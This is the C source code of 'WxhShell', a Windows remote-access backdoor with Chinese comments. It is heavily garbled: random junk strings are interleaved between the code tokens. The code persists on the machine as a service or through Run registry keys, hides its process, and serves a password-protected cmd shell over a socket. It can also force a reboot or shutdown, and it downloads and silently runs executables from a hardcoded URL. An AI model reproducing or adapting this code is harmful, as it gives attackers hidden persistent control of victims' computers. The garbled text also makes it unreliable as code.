9l static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \7eUw,~Q> static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,t744k') UgRiIQMq. HANDLE hProcess; ztY}5A2` PROCESS_BASIC_INFORMATION pbi; VCfl`Aq'l s)t@ol HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M?49TOQA if(NULL == hInst ) return 0; *R,5h2; `hm-.@f,9 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?<,l3pwqa g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A2FYBM`Q&D NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qwcD`HV, \K{
z if (!NtQueryInformationProcess) return 0; iMh#TUlQEQ tjS@meT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GA)`-*.R if(!hProcess) return 0; C=xa5Y P; no? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2;b\9R^>A 1~FOgk1; CloseHandle(hProcess); rHI{aO7 I,DS@SK hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QL/(72K if(hProcess==NULL) return 0; rXq.DvQ c#]4awHU HMODULE hMod; O\tb R= char procName[255]; xH,a=8&9 unsigned long cbNeeded; 7z,C}-q Q\vpqE!9 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nW:C/{n2tG !F-w3
] CloseHandle(hProcess); =I5>$}q_&, (L:>\m&NO if(strstr(procName,"services")) return 1; // 以服务启动 n&/
` DfD&)tsMQ return 0; // 注册表启动 N>1em!AS } Oo~;
L, W*:.Gxv] // 主模块 6_;icpN] int StartWxhshell(LPSTR lpCmdLine) MchA{p&Ol { {Mk6T1Bkq SOCKET wsl; e%M;?0j BOOL val=TRUE; =XQ%t
@z0 int port=0; RP|`HkP-2 struct sockaddr_in door; DCa^
u'f -i|}m++ if(wscfg.ws_autoins) Install(); cVpp-Z|s8 IP pN@ port=atoi(lpCmdLine); y.k~Y0 8Fh)eha9f if(port<=0) port=wscfg.ws_port; U/M>?G~ >Tx?%nQ WSADATA data; ,p a {qne if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _f,C[C[e& ({_{\9O,3 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S hWJ72c setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 29b9`NXt door.sin_family = AF_INET; e9tjw[+A door.sin_addr.s_addr = inet_addr("127.0.0.1"); WU`
rh^ door.sin_port = htons(port); cjY-y-vO 6MW{,N if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P+sW[: closesocket(wsl); 3?yg\ return 1; @mBQ?;qlK } Y=KT eYW` UkC!1Jy if(listen(wsl,2) == INVALID_SOCKET) { -2[a2^a' closesocket(wsl); dT8S~-d% return 1; X?',n
1 } j$:~Rek Wxhshell(wsl); 00y!K
m_D WSACleanup(); A)!*]o>U J@'wf8Ub return 0; tk`v:t!6U 59A}}.@?m } )akoa,#%6c LL!Dx%JZ // 以NT服务方式启动 8<.Oq4ku VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Il'fL'3 { t*u:hex DWORD status = 0; +6\Zj) DWORD specificError = 0xfffffff; n\53w h@+ W!(zT6# serviceStatus.dwServiceType = SERVICE_WIN32; Q%G8U#Tm serviceStatus.dwCurrentState = SERVICE_START_PENDING; AkV#J,
3LC serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; eMsd37J serviceStatus.dwWin32ExitCode = 0; CTa57R serviceStatus.dwServiceSpecificExitCode = 0; q} >%8;nm serviceStatus.dwCheckPoint = 0; 6{b>p+U serviceStatus.dwWaitHint = 0; IJ"q~r$ pnOAs&QAm hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oPM96
( if (hServiceStatusHandle==0) return; o*H<KaX bd-L`={j status = GetLastError(); 7NGxa6wi if (status!=NO_ERROR) ;_(4Q*Yx { ,O(hMI85] serviceStatus.dwCurrentState = SERVICE_STOPPED; =,M5KDk` serviceStatus.dwCheckPoint = 0; m_]Y{3C
serviceStatus.dwWaitHint = 0; Xv^qVn4 serviceStatus.dwWin32ExitCode = status; i/4>2y9/F4 serviceStatus.dwServiceSpecificExitCode = specificError; tD)J*]G SetServiceStatus(hServiceStatusHandle, &serviceStatus); ga +dt return; y)@wjH{6 } K0>zxqY yN-9[P8C serviceStatus.dwCurrentState = SERVICE_RUNNING; N6:`/f+A>T serviceStatus.dwCheckPoint = 0; 1+s;FJ2} serviceStatus.dwWaitHint = 0; sgFEK[w.y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k,*XG$2h } *2l7f`K !Vk^TFt` // 处理NT服务事件,比如:启动、停止 WsB ?C&>x VOID WINAPI NTServiceHandler(DWORD fdwControl) 7[)E>XRE { 4WB0Pt{ switch(fdwControl) ktIFI`@w) { U K!(G case SERVICE_CONTROL_STOP: "y}5;9#, serviceStatus.dwWin32ExitCode = 0; ]f_p8?j" serviceStatus.dwCurrentState = SERVICE_STOPPED; bt?5*ETA serviceStatus.dwCheckPoint = 0; ~xFkU# serviceStatus.dwWaitHint = 0; QXK{bxwC { W=?<<dVYD SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?J0y| } Bzf^ivT3L return; I?CZQ+}Hq case SERVICE_CONTROL_PAUSE: 'g\4O3&_ serviceStatus.dwCurrentState = SERVICE_PAUSED; hZb_P\1X break; ;xTpE2 -~ case SERVICE_CONTROL_CONTINUE: SXh-A1t serviceStatus.dwCurrentState = SERVICE_RUNNING; wCBplaojJ break; :ws<-Qy case SERVICE_CONTROL_INTERROGATE: :3 mh@[V break; +}AI@+
}; "AqB$^S9t SetServiceStatus(hServiceStatusHandle, &serviceStatus); H PVEnVn } ~W/z96'
5 ueNS='+m // 标准应用程序主函数 *un^u-; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u3D)M%e { H5an%kU|j :`sUt1Fw. // 获取操作系统版本 \;Weizq5 OsIsNt=GetOsVer(); x+]" GetModuleFileName(NULL,ExeFile,MAX_PATH); 6A ah9 (9)Q ' 'S // 从命令行安装 ]:n,RO6 if(strpbrk(lpCmdLine,"iI")) Install(); ['D]>Ot68
='jT~\ // 下载执行文件 K
8O|?x] if(wscfg.ws_downexe) { #-J>NWdt if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fP1!)po WinExec(wscfg.ws_filenam,SW_HIDE); e3\T)x&= } !,PWb3S j>kqz>3 if(!OsIsNt) { `]aeI'[}R // 如果时win9x,隐藏进程并且设置为注册表启动 rm_Nn8p, HideProc(); @4#vm@Yf_ StartWxhshell(lpCmdLine); 7zc^!LrW< } ^.y\(= else iy"*5<;*DD if(StartFromService()) `D9$v(Ztr // 以服务方式启动 |W^IlqTH StartServiceCtrlDispatcher(DispatchTable); O/LXdz0B else EQ_aa@M7 // 普通方式启动 h+,@G,|D StartWxhshell(lpCmdLine); gqR(.Pu Wp,R^d return 0; w-jVC^C] } )/P}?`I }m8q}~>tL ?7A>+EY a q-~B~c`g =========================================== *1"+%Z^ =~gvZV-< a'T;x`b8U, dr"1s-D4IQ x1a:u /wv0i3_e
" 'ga/ Dp:BU|r #include <stdio.h> vQ.R{!",> #include <string.h> EM_d8o)`B #include <windows.h> gM]:Ma #include <winsock2.h> Y-9I3?ar #include <winsvc.h> c@Is2
9t* #include <urlmon.h> l-3~K-k<@ 18Emi<&A #pragma comment (lib, "Ws2_32.lib") e+|sSp A #pragma comment (lib, "urlmon.lib") p<%d2@lp 4ppz,L,4 #define MAX_USER 100 // 最大客户端连接数 JGZBL{8 #define BUF_SOCK 200 // sock buffer n"8Yv~v*2j #define KEY_BUFF 255 // 输入 buffer EX"yxZ~ K NOIZj #define REBOOT 0 // 重启 )%]J>&/0J #define SHUTDOWN 1 // 关机 n+p }\msH &&%H%9 #define DEF_PORT 5000 // 监听端口 XP}<N&j +|f@^- #define REG_LEN 16 // 注册表键长度 YYS0` #define SVC_LEN 80 // NT服务名长度 O0:q;<>z ykJ>*z // 从dll定义API |[lKY+26:{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L50n8s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wM{s|Ay typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 06jQE2z2R typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,)io5nZF 9JwPSAo; // wxhshell配置信息 MfkZ struct WSCFG { T>>c2$ x int ws_port; // 监听端口 u:b=\T L char ws_passstr[REG_LEN]; // 口令 62u4-}JzF int ws_autoins; // 安装标记, 1=yes 0=no ?4uL-z](V char ws_regname[REG_LEN]; // 注册表键名 )gi9f1n` char ws_svcname[REG_LEN]; // 服务名 d5 -qZ{W char ws_svcdisp[SVC_LEN]; // 服务显示名 <naz+QK' char ws_svcdesc[SVC_LEN]; // 服务描述信息 [B3RfCV{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0"#HJA44 int ws_downexe; // 下载执行标记, 1=yes 0=no .]Z"C&"N] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |?9HU~B char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L.IlBjD ! P4*+')M }; 2zpr~cB= DwF hK* // default Wxhshell configuration #E]59_
struct WSCFG wscfg={DEF_PORT, <N@Gu!N8 "xuhuanlingzhe", f
mGc^d|= 1, QL* IiFR "Wxhshell", Wl4%GB "Wxhshell", =V5%+/r +f "WxhShell Service", 5-M-X#( "Wrsky Windows CmdShell Service", AwN!;t_0+N "Please Input Your Password: ", s^SJY{ 1, ]^]wP]R_ "http://www.wrsky.com/wxhshell.exe", =H~j,K "Wxhshell.exe" u:EiwRW }; pk~WrqK} M=Wz // 消息定义模块 )e{}V\;q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QW"! (`K char *msg_ws_prompt="\n\r? for help\n\r#>"; Pz^544\~ou char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4P0}+ char *msg_ws_ext="\n\rExit."; 11lsf/IP char *msg_ws_end="\n\rQuit."; D{!IW!w char *msg_ws_boot="\n\rReboot..."; xC?h2hIt char *msg_ws_poff="\n\rShutdown..."; <GsuZ char *msg_ws_down="\n\rSave to "; e(yh[7p= n`KY9[0U= char *msg_ws_err="\n\rErr!"; @pxcpXCy char *msg_ws_ok="\n\rOK!"; _4f;<FL W9)&!&<o char ExeFile[MAX_PATH]; 9FX-1,Jx int nUser = 0; H.0K?N&\?> HANDLE handles[MAX_USER]; 4\i[m:e=@ int OsIsNt; @XVTU _-\#i SERVICE_STATUS serviceStatus; 4I7>f]=) SERVICE_STATUS_HANDLE hServiceStatusHandle; #/]nxW.S ;Xw~D_uv // 函数声明 d'2A,B~_* int Install(void); ~5g ~;f[4 int Uninstall(void); `{Ul! int DownloadFile(char *sURL, SOCKET wsh); [
3HfQ int Boot(int flag); ctUp=po void HideProc(void); YzWz| int GetOsVer(void); #Dac~>a' int Wxhshell(SOCKET wsl); *h|U,T7ew void TalkWithClient(void *cs); A=4OWV? int CmdShell(SOCKET sock); j39wA~K int StartFromService(void); *`U~?q} int StartWxhshell(LPSTR lpCmdLine); dRDnJc3 He)%S]RLk VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q:(%*sY> VOID WINAPI NTServiceHandler( DWORD fdwControl ); h$*!8=M Ls%MGs9PI // 数据结构和表定义 `2snz1>!j SERVICE_TABLE_ENTRY DispatchTable[] = u&NV,6Fj2[ { y)pk6d {wscfg.ws_svcname, NTServiceMain}, }M+7T\J! {NULL, NULL} M?qy(zb }; $u.z*b_yy D]}G.v1 // 自我安装 {8OCXus3m int Install(void) |^aKs#va { ]{iQ21`a- char svExeFile[MAX_PATH]; #*}+J3/ HKEY key; 4Up/p&1@ strcpy(svExeFile,ExeFile); MJvp6n Vc2`b3"Br // 如果是win9x系统,修改注册表设为自启动 m2o0y++TjW if(!OsIsNt) { ]tD]Wx% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =}*0-\QG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <qSC#[xu RegCloseKey(key); OYd !v`< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `]X>V, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kFB RegCloseKey(key); ;fJ.8C return 0; "8RSvT<W^5 } ! z**y}<T } P'2Qen* } E3i4=!Y else { Zh,71Umz g ?k=^C // 如果是NT以上系统,安装为系统服务 IU[ [H# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #jk_5W if (schSCManager!=0) TO_e^A# { `g,..Ns-r SC_HANDLE schService = CreateService NgwbQ7) ( s>en schSCManager, H. c7Nle wscfg.ws_svcname, 25T18&R wscfg.ws_svcdisp, K;(mC< SERVICE_ALL_ACCESS, ^"g~- SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OPi0~s SERVICE_AUTO_START, ,>M[@4`,U SERVICE_ERROR_NORMAL, U17d>]ka svExeFile, ~zgGa:uU NULL, 7"##]m. NULL, ?CZd Ol NULL, H[gWGbPq7 NULL, ?(PKeq6 NULL nu^436MSOa ); ]yu:i-SfP if (schService!=0) G6/m# { 4JEpl'5^Q CloseServiceHandle(schService); /mHqurB CloseServiceHandle(schSCManager); }#J/fa9
! strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J05e#-)<K strcat(svExeFile,wscfg.ws_svcname); !W\+#ez if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2T1q?L?] RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2/f}S?@ RegCloseKey(key); : +u]S2u{ return 0; &L:!VL{I } GVz6-T~\> } Zc yc*{DS CloseServiceHandle(schSCManager); ?5p>BER? } i?/qY&~ } q| 7( ==B6qX8T return 1; ,I9bNO,%JK } 0a7Ppntb@ 9!GM{ // 自我卸载 .VqhV int Uninstall(void) jylD6IT { :DNjhZ HKEY key; RNL9>7xV D=$)n_F if(!OsIsNt) { #z(]xI)" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xoL\us`A RegDeleteValue(key,wscfg.ws_regname); +mPx8P&% RegCloseKey(key); -/4P3SG/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &[9709 (= RegDeleteValue(key,wscfg.ws_regname); r^ XVB`v RegCloseKey(key); jCY%| return 0; x38QD;MT } b$7 +;I; } k'YTpO } zqku e%^?- else { 7^285)UQA NHt\
U9l' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rjP/l6
~' if (schSCManager!=0) 0_/[k*Re { y}
'@R$ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2!\DPX if (schService!=0) JC"z&ka { 0]L"H<W if(DeleteService(schService)!=0) { m'U0'}Ld}; CloseServiceHandle(schService); N+|d3X! CloseServiceHandle(schSCManager); m~|40) return 0; ;"I^ZFYX } "4Nt\WQ CloseServiceHandle(schService); +_!QSU,@ } jdN`mosJ CloseServiceHandle(schSCManager); YUb_y^B^ } RCrCs } ;a/E42eN; mv><HqDL1 return 1; TC('H[
] } #mT"gs R_KH"`q // 从指定url下载文件
9sP0D int DownloadFile(char *sURL, SOCKET wsh) #tHK"20 { cL ]1f HRESULT hr; ~u{uZ(~ char seps[]= "/"; SM'|+ d char *token; 0K+ne0I char *file; kM6
Qp char myURL[MAX_PATH]; NbobliC= char myFILE[MAX_PATH]; |)&%A%m GyIV
Hby strcpy(myURL,sURL); #cJ@uqR token=strtok(myURL,seps); 7$b1<.WX while(token!=NULL) H\
% 7% { 6863xOv{T file=token; 1oS/`) token=strtok(NULL,seps); h8P)%p } M}a6Vu9 ?[AD=rUC GetCurrentDirectory(MAX_PATH,myFILE); 0sqFF[i strcat(myFILE, "\\"); >z03{=sAN strcat(myFILE, file); ]]mJ']l send(wsh,myFILE,strlen(myFILE),0); qM`}{
/i send(wsh,"...",3,0); 9x8fhAy}4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q8NX)R if(hr==S_OK) QZs!{sZ return 0; 4Ig;3 ^%71 else Y73C5.dNcE return 1; :h$$J
lP _w{Qtj~s| } s1rCpzK0 pRqx`5 } // 系统电源模块 ixFi{_ int Boot(int flag) .8R@2c`}Cs { m*pJBZxd HANDLE hToken; w(/S?d
TOKEN_PRIVILEGES tkp; AdEMa}u6
2iOV/=+ if(OsIsNt) { YVU7wW,1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \G[$:nS LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -@s#uA
h tkp.PrivilegeCount = 1; 3<!7>]A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M7T5
~/4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %4H%?4 if(flag==REBOOT) { Sf'CN8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I0-MRU~[K return 0; %{|p j
+ } \<' ?8ri# else { DF= *_,2/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CY1Z' return 0; .3;;;K9a~] } uph(V } *T/']t else { #4PN"o@ if(flag==REBOOT) { w}KkvP^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wz%-%39q% return 0; qna8|3eP } Nc`L;CP else { Y|n"dMrL if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "[J^YKoF return 0; DI>s-7 } e=
AKD# } yAt^; WJ#[LF!e return 1; ?
k /` } @5FQX A&VG~r$ // win9x进程隐藏模块 Ytkv!]" void HideProc(void) k:;r2f { \dVOwr v+XJ*N[W HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (HVGlw'` if ( hKernel != NULL ) X8|, { .]^?<bG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ueudRb ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G[=c
Ss, FreeLibrary(hKernel); $i&zex{\ } uFE)17E CZ;6@{ o return; CTb%(<r } XSRsGTCC= s AkdMo // 获取操作系统版本 r@V!,k#S int GetOsVer(void) rp$'L7lrX { V`- 9m$ OSVERSIONINFO winfo; !g[Zfo2r" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ac@VGT:9 GetVersionEx(&winfo); jp,4h4C^) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K0~rN.C!0 return 1; 9w"*y#_ else OXA7w.^ return 0; DQ3<$0 } dN q$} h{Y",7]! // 客户端句柄模块
D7Z /H'| int Wxhshell(SOCKET wsl) gdc<ZYcM { 7#Ft|5$~q SOCKET wsh; tw;}jh struct sockaddr_in client; 1Mzmg[L8 DWORD myID; [JiH\+XLPs 5!
{D! while(nUser<MAX_USER) 6Mf0`K { ?9/G[[( int nSize=sizeof(client); o&%g8=n% wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .*oU]N%K= if(wsh==INVALID_SOCKET) return 1; i5Ggf"![ 23PGq%R handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); **%37 if(handles[nUser]==0) kVgTGC"L= closesocket(wsh);
"jZ-,P= else .#gzP2 [q nUser++; V
gWRW7Se } ^q5#ihM WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XS#Qu=,- !L(^(;$Kgr return 0; Cdn J&N{ } u9e@a9c Y2AJ+
| // 关闭 socket [n@]
r2g)3 void CloseIt(SOCKET wsh) x5Bk/e' { SUiOJ[5, closesocket(wsh); >:-$+I nUser--; (`^1Y3&2 ExitThread(0); oJ^P(] dw } X?O[r3< K;?+8(H // 客户端请求句柄 V[LglPt void TalkWithClient(void *cs) VA%J\T|G2\ { I7onX,U+ ="+#W6bZT SOCKET wsh=(SOCKET)cs; z/-=%g >HA char pwd[SVC_LEN]; d]9z@Pd char cmd[KEY_BUFF]; 2/?|&[ char chr[1]; ch]IzdD int i,j; Q &8-\ }jXfb@`K while (nUser < MAX_USER) { O-wzz x2xRBkRg= if(wscfg.ws_passstr) { sJZiI}Xc if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G|Ti4_w
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9up3[F$ //ZeroMemory(pwd,KEY_BUFF); YK_7ip.a[ i=0; Rcuz(yS8 while(i<SVC_LEN) { 1MFbQs^ 00(\ZUj // 设置超时 VY-EmbkG-t fd_set FdRead; 6ujWNf struct timeval TimeOut; m67V_s,7B FD_ZERO(&FdRead); 10&8-p1/mc FD_SET(wsh,&FdRead); [^iN}Lz TimeOut.tv_sec=8; hrk r'3lv TimeOut.tv_usec=0; wYea\^co int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LVyyO3e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); b%+Xy8a
a?1Wq if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $4\j]RE! pwd=chr[0]; *. t^MP if(chr[0]==0xd || chr[0]==0xa) { NEs:},)o pwd=0; xT8?&Bx break; bA 2pbjg= } btB%[] i++; Om&Dw|xG8 } ~DWl s. MV"=19] // 如果是非法用户,关闭 socket #yen8SskB if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lZ0 =;I } f$( e\++ gw(z1L5
n send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K3C <{#r send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
kAx4fE[c \e_O4
while(1) { M|-)GvR$J N`i/mP ZeroMemory(cmd,KEY_BUFF); `oJ [u:b 2%1hdA< // 自动支持客户端 telnet标准 rqq1TRg j=0; :k"]5>(^ while(j<KEY_BUFF) { *hrd5na if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +\'tE~V cmd[j]=chr[0]; sLFl!jX if(chr[0]==0xa || chr[0]==0xd) { [aS*%Heu cmd[j]=0; hZ3bVi)L\ break; E`q_bn } 1M-pr 8:6s j++; ,Q B<7a+I } G3]4A&h9v~ E7hhew // 下载文件 rNM;ZPF# if(strstr(cmd,"http://")) { i4Jc.8^9$ send(wsh,msg_ws_down,strlen(msg_ws_down),0); oU|c.mYe if(DownloadFile(cmd,wsh)) 0x7'^Z>-oe send(wsh,msg_ws_err,strlen(msg_ws_err),0); $kgVa^ else TC. ,V_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `/g
UV } 0YzpZW"+ else { $(
)>g>% ?"FbsMk.d switch(cmd[0]) { V :eD]zq5 "b[5]Y{
U // 帮助 @o^Ww case '?': { Q\)F;: | send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hph4 `{T break; v<;Md-< } GfG|&VNlz // 安装 'S~5"6r case 'i': { ~
1 pr~ if(Install()) (t.Nk[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); x"(KBEK~ else edV\-H5< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +V+a4lU14 break; /=h` L, } zQA`/&=Y // 卸载 {$r[5%L\H case 'r': {
5IN(|B0 if(Uninstall()) F?cK-. send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Lv;! else 2tLJU Z1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eQ"E break; :4s1CC+@\ } _U0f=m // 显示 wxhshell 所在路径 1}37Q&2 case 'p': { M;NX:mX9 char svExeFile[MAX_PATH]; 6RM/GM strcpy(svExeFile,"\n\r"); _6Ha strcat(svExeFile,ExeFile); 9kojLqCT send(wsh,svExeFile,strlen(svExeFile),0); 7KPwQ?SjT break; $N\Ja*g } F"<vaqT2 // 重启 ccnK#fn v case 'b': { -+5>|N# send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Tr|JYLwF if(Boot(REBOOT)) FqifriLN send(wsh,msg_ws_err,strlen(msg_ws_err),0); AEuG v}# else { eq" ]%s closesocket(wsh); nie% eC&U ExitThread(0); Wf<LR3 } fLVAKn break; ^GX)Z~ } DN/YHSYK // 关机 a>)f=uS case 'd': { w:l"\Tm send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <or2 if(Boot(SHUTDOWN)) W l16`9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); -DCbko else { yBRC*0+Vy closesocket(wsh); m3ff;, ExitThread(0); {^'HL } 4~=l}H>& break; 0ksa } ?}7p"3j'z // 获取shell -F92 -jBM4 case 's': { 66 Tpi![ CmdShell(wsh); 7?t6UPf closesocket(wsh); ^J d
r>@ ExitThread(0); v@Ox:wl> break; Wvqhl
'J } Hefg[$m // 退出 LF7SS;&~f case 'x': { b[7]F send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hEk$d.!} CloseIt(wsh); &OBkevg break; Kg$Mx } `W-Fssu // 离开 d %#b:(, case 'q': { >3_Gw4S*H send(wsh,msg_ws_end,strlen(msg_ws_end),0); BZxvJQ closesocket(wsh); fT{Yg /j WSACleanup(); m4g$N) exit(1); =2 kG%9 break; = f i$}>\ } Z/K{A` } sC ;+F*0g } NCx%L-GPi L6LZC2N+2 // 提示信息 wf$s*|z if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dxxm="FQZ } :yjFQ9^?& } $kKjgQS( eY\yE"3 return; f9;(C4+ } xvy.=( }{"fJ3] c^ // shell模块句柄 QIgNsz int CmdShell(SOCKET sock) _[y/Y\{I { '7@R7w!E4H STARTUPINFO si; :eg4z ) ZeroMemory(&si,sizeof(si)); )Wox Mmz si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .6V}3q$-@ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
^I)N. 5 PROCESS_INFORMATION ProcessInfo; e$pV%5= char cmdline[]="cmd"; hzRYec( CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gbw2E&a |